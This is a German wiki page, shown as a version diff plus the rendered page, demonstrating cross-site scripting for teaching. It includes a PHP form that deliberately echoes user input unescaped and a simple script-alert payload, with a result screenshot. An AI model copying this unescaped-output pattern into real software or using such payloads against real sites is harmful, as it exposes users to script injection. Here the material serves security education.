Cross-Site-Scripting Proof of Concept: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „<pre> <?php if(isset($_POST['submit'])){ $msg = $_POST['msg']; } ?> <!DOCTYPE html> <html> <body> <h2>Authentifizierung</h2>…“)
 
Zeile 1: Zeile 1:
 +
=Script=
 
<pre>
 
<pre>
 
<?php
 
<?php
Zeile 26: Zeile 27:
  
 
</pre>
 
</pre>
 +
=Payload=
 +
<script>alert("xinux hack")</script>
 +
=Ergebnis=
 +
[[Datei:Xinux-hack.png|mini]]

Version vom 27. Juli 2021, 18:04 Uhr

Script

<?php
  if(isset($_POST['submit'])){
    $msg = $_POST['msg'];
  }
?>

<!DOCTYPE html>
<html>
        <body>
                <h2>Authentifizierung</h2>
                <form method="post">
                  <label for="fname">Input</label><br>
                  <input type="text" name="msg"><br>
                  <input type="submit" name="submit" value="klick">
                </form>


                <br>
<?php
echo "Hello $msg";
?>
                </table>
        </body>
</html>

Payload

<script>alert("xinux hack")</script>

Ergebnis

Xinux-hack.png